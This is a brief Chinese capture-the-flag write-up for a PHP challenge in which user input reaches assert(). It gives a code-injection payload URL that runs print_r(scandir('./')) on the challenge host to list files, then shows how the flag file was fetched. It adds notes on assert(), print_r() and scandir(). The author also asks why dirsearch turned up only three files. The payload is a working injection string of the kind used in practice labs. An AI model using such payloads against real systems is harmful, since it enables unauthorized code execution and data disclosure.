分析
根据提示,分析得关键在于assert(),查资料得assert()用于调试,跟eval()差不多,但是eval()只能执行符合php编码规范的$code_str
解题
构造payload http://123.206.87.240:8010/?s=print_r(scandir(’./’));
得到目录结构
再访问http://123.206.87.240:8010/fl4g.txt 即可
新姿势
1、assert()用于调试bug,和eval()差不多,可以执行任意命令
2、print_r()以更容易理解的方式打印变量(主要针对数组)
3、scandir() 函数返回指定目录中的文件和目录的数组
-
语法:scandir(directory,sorting_order,context)
- directory 指定要扫描的目录,必选
- sorting 指定升降序,默认为升序,scandir($dir,1)为降序输出
- context 规定目录句柄的环境
疑惑
为什么用dirsearch扫描,只扫描出了123.php、index.php、test.php?
求教